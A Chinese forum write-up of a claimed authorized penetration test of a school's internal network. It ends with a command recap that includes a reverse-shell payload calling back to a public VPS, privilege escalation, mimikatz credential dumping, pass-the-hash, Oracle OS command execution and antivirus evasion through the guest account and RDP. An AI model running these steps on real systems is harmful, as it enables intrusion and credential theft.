taibeihacker
Moderator
0x00 初探内网
在向信息中心的老師申請了對學校進行一次內網滲透測試的授權之後,我開始著手對學校內網中在用系統進行了一波信息蒐集。其中大部分都使用了新版的未爆出0day的框架組件,這讓我一開始的打點過程陷入僵局。但是在我重新翻了一遍學校開放的各種web系統後,我發現了一些令人驚喜的系統。
學校使用了很多新系統,但是並沒有把老系統關閉,經過一番搜索確定了這個老系統存在任意文件上傳漏洞。

沒有任何過濾,可以說就是撿漏了。

而且也返回了一句話木馬的路徑。但是我遇到了一個很奇怪的現象,用蟻劍和用菜刀連接後,返回的路徑不一樣,其中的文件也不一樣。

其中蟻劍連接的shell無法上傳文件,而菜刀連接的卻可以,並且webshell執行一次命令後就會封禁IP,懷疑有waf。所以我先傳了一個msf的aspx木馬來獲取一個meterpreter的會話。使用windows-exploit-suggest探測未打的補丁。

發現存在MS16-075這個非常好用的漏洞,直接配合msf的juicy_potato模塊來攻擊,記住要修改CLSID,可以在這裡找
juicy-potato/CLSID at master · ohpe/juicy-potato
A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM. - ohpe/juicy-potato

這樣就獲取了system權限。接下來就是對機器進行信息蒐集,獲取對我們橫向滲透有幫助的信息。很奇怪的一點是,這台機器本來是有域的,但現在卻沒有了,且無法找到域控。所以我們的重點放在密碼撞庫。使用msf自帶的mimikatz模塊來獲取密碼。

撞到了兩三台機器,還有一些機器是開著445端口,但沒有開3389端口。
這樣我們可以嘗試使用ms-17010,但考慮可能會對某些正在使用的系統造成影響,我還是選擇使用更穩妥的psexec模塊來進行撞庫。也就是哈希傳遞,有時候我們碰到無法獲取明文的密碼,可以考慮dump出密碼的hash值,再使用psexec模塊進行哈希傳遞,來進行攻擊,獲取到的都是SYSTEM權限。
後面的步驟索然無味,就是不斷的撞庫蒐集密碼,然後再通過蒐集的密碼再撞庫,獲取到了足夠多的機器和密碼之後,找到了邊界路由器,但是之前蒐集的密碼都無法成功登錄,只好放棄。這個網段就告一段落。
0x01 深入探索
經過對新系統的一番搜索,我在其中的一個功能中找到了任意文件下載漏洞。
並且是root用戶起的服務,最理想的情況就是,讀取/etc/shadow文件,爆破root用戶密碼。 (失敗),然後嘗試讀取/root/.bash_history 來獲取root用戶的操作歷史記錄。其中記錄了tomcat部署的路徑,以及備份的源碼文件。通過下載源碼進行信息蒐集,我蒐集到了一個很關鍵的信息,這個網段的機器大多數使用oracle數據庫,並且沒有修改SID,手裡還有幾個可以嘗試的密碼。
經過一番爆破,發現了一台機器oracle數據庫system用戶密碼未修改,為manager。大家應該指定oracle數據庫是可以執行系統命令的,而system用戶完全符合執行系統命令的條件。網上找到一個工具,去掉了繁瑣的步驟,可以直接執行命令。

0x03 绕过火绒行为检测
但是又出現了一個很奇怪的問題,我只能執行少數的幾個命令,雖然我是system用戶,但我一旦使用到net user之類的命令時,就沒有了回顯。後面發現是火絨攔截了異常行為。然後我嘗試了直接使用navicat 中的sqlplus來連接服務器。根據網上的步驟建立執行命令的代碼,我可以根據服務器返回的1或0來判斷命令是否執行。create or replace and compile Java Source named 'OSCommand' as
-- java: OS COMMAND
import java.io.*;
import java.lang.*;
public class OSCommand{
public static String Run(String Command){
Runtime rt=Runtime.getRuntime();
int rc=-1;
try{
Process p=rt.exec( Command );
int bufSize=32000;
int len=0;
byte buffer[]=new byte[bufSize];
String s=null;
BufferedInputStream bis=new BufferedInputStream( p.getInputStream(), bufSize );
len=bis.read( buffer, 0, bufSize );
rc=p.waitFor();
if ( len !=-1 ){
s=new String( buffer, 0, len );
return( s );
}
return( rc+'' );
}
catch (Exception e){
e.printStackTrace();
return( '-1\ncommand[' + Command + ']\n' + e.getMessage() );
}
}
}
/
show errors
create or replace function OSexec( cCommand IN string ) return varchar2 is
-- function: OS EXEC
-- descr: PL/SQL wrapper for the Java OSCOMMAND stored proc
--
language JAVA
name 'OSCommand.Run(java.lang.String) return java.lang.String';
/
show errors
-- sysdba. Substitute SCOTT with the applicable schema that owns the OSEXEC
-- and OSCOMMAND stored procs.
declare
SCHEMA varchar2(30) :='SCOTT';
begin
dbms_java.grant_permission(
SCHEMA,
'SYS:java.io.FilePermission',
'ALL FILES',
'execute'
);
dbms_java.grant_permission(
SCHEMA,
'SYS:java.lang.RuntimePermission',
'writeFileDescriptor',
'*'
);
dbms_java.grant_permission(
SCHEMA,
'SYS:java.lang.RuntimePermission',
'readFileDescriptor',
'*'
);
commit;
end;
/
-- 查看本地連接信息
SQL select OSexec('ipconfig') as STDOUT from dual;
STDOUT
--------------------------------------------------------------------------------
Windows IP ?
??l? 3:
l? DNS ?
?t? IPv6 ? *************
IPv4 ? 192.168.100.100
? 255.255.255.0
? 0.0.0.0
--激活guest賬號
SQL select OSexec('cmd.exe /c net user guest /active:yes') as STDOUT from dual;
STDOUT
--------------------------------------------------------------------------------
0因為存在殺毒軟件監控oracle的行為,所以得要通過一些不被攔截的行為來組合起來攻擊。
讓我沒想到的是,當我直接執行命令行開啟3389端口時,火絨居然沒有攔截。但當我執行net user等命令的時候又無法執行。這時候我突然想起來guest用戶,我啟用guest用戶,然後加入管理員組,這一次沒有被攔截。直接遠程桌面連接以後,當我想在機器上使用mimikatz或者是反彈一個shell到cs上都失敗了。
並且guest用戶還有一些權限被禁用了,比如添加用戶等敏感操作。但是我執行net user的時候發現了一個用戶,這個用戶我在之前的機器上見過,並且我有這個用戶的密碼。所以再通過sqlplus來將這個用戶加入管理員組。
所以火絨攔截的行為規則就是不能添加用戶,但是可以把已存在的用戶加入管理員組,並且guest用戶可激活,可開3389。在我再次登錄這個機器之後,還是沒有辦法反彈shell回來,或者是讀出它的密碼。這時候學弟和我說,可以直接打開火絨,關閉防護,就可以反彈shell了。我?
然後一通操作拿到了shell,但是還是讀不出明文密碼,我就想著把哈希dump出來然後去爆破。但是又想起來有一個國外的在線網站可以解NTLM

獲取密碼之後,又是熟悉的撞庫,信息蒐集,再撞庫。
然後在服務器上發現了一個xftp保存了幾台服務器的密碼,這個時候發現一個騷操作,可以用一個星號密碼查看器的工具,來查看這裡保存的密碼。

又喜提幾台root權限的機器。後面要考試就不想玩了,把所有蒐集的密碼用戶記錄,然後撞整個網段的機器,撞出了很多弱口令。

恭喜信息中心老師喜提加班。
0x04 总结
1.在目標的老系統中的附件上傳處,可直接上傳一句話木馬,並返回上傳的路徑。 2.通過蟻劍連接一句話木馬後,不能上傳文件;而通過菜刀連接一句話,可以上傳文件。 3.在公網上通過msf生成aspx後門,並通過大馬將生成的shell.aspx上傳到目標站點上,並訪問shell.aspx。 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=公網VPS LPORT=12345 -f aspx shell.aspx4.通過MSF進行監聽,並成功獲得反彈shellmsf use exploit/multi/handlermsf exploit(handler) set PAYLOAD windows/x64/meterpreter/reverse_tcpmsf exploit(handler) set LHOST 公網VPSmsf exploit(handler) set LPORT 12345msf exploit(handler) exploit5.通過菜刀的命令終端執行systeminfo執行補丁信息輸出info.txt,將其下載到本地,使用windows-exploit-suggester查找到可利用的提權POC為:MS16-075(也可以通過在線對比查找可用的poc :http://bugs.hacking8.com/tiquan/)ht...g/Windows-Exploit-Suggester-Python3systeminfo info.txtpython3 windows-exploit-suggester.py --updatepython3 windows-exploit-suggester.py --database 2021-07-15-mssb.xls --systeminfo info.txt6.在MSF中通過ms16-075(https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075)meterpreter getuidServer username: IIS APPPOOL\DefaultAppPoolmeterpreter getprivsmeterpreter upload /root/potato.exe C:\Users\Publicmeterpreter cd C:\\Users\\Publicmeterpreter use incognitometerpreter list_tokens -umeterpreter execute -cH -f ./potato.exemeterpreter list_tokens -umeterpreter getuidServer username: NT AUTHORITY\SYSTEM7.通過msf加載mimikatz讀取明文和hash值meterpreter load mimikatzmeterpreter mimikatz_command -f samdump:hashesMeterpreter mimikatz_command -f sekurlsa:searchPasswordsmeterpreter msv #獲取hash值meterpreter kerberos #獲取明文8.通過MSF進行批量hash值撞庫進行pth傳遞meterpreter upload /root/crackmapexec C:\Users\Publicmeterpreter crackmapexec 192.168.1.0/24 -u administrator -H ccef208c6485269c20db2cad21734fe7或者meterpreter backgroundmsfuse exploit/windows/smb/psexecmsf set payload windows/meterpreter/reverse_tcpmsfset LHOST 192.168.232.128msf set LPORT 2222msfset rhosts 10.206.14.1/24msfset smbuser administratorsmbuser=administratormsf set smbpass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586cmsf run或者msf use auxiliary/admin/smb/psexec_commandmsf et rhosts 10.206.14.1/24msf set smbuser administratormsf set smbpass aad3b435b51404eeaad3b435b51404ee:579110c49145015c47ecd267657d3174 (注意要有:lm哈希可以為任意32位字符)msf run4.在目標的新系統中發現一處文件下載,猜測可能存在任意文件下載漏洞,這裡可以通過bp的intruder功能進行批量fuzz,這裡先讀取/etc/passwd以及etc/shadow,讀取出來的hash值,通過MD5進行破解失敗。 5.然後通過任意文件下載,讀取/root/.bash_histoy,查看到有管理員操作網站目錄進行壓縮的操作。獲得了壓縮包名稱以及保存到網站的根目錄下載,直接進行下載備份源碼。 6.在源碼中發現oracle數據庫配置文件,洩露了用戶名system和密碼以及IP地址為121.1.100.100,使用默認的sid值:orcl,即可連接,這裡使用oracleshell遠程連接。 7.通過oracleshell執行添加net user用戶名命令被攔截,執行tasklist/svc,發現目標數據庫存在火絨。但是通過激活gust賬號並將gust添加到管理員組火絨並不攔截。然後開啟3389也不被攔截net user guest /active:yesnet user guest Test@123net localgroup administrorts guest /addREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal' 'Server /v fDenyTSConnections /t REG_DWORD /d 0 /f或者使用navicat 中的sqlplus來連接服務器SQL select OSexec('ipconfig') as STDOUT from dual;S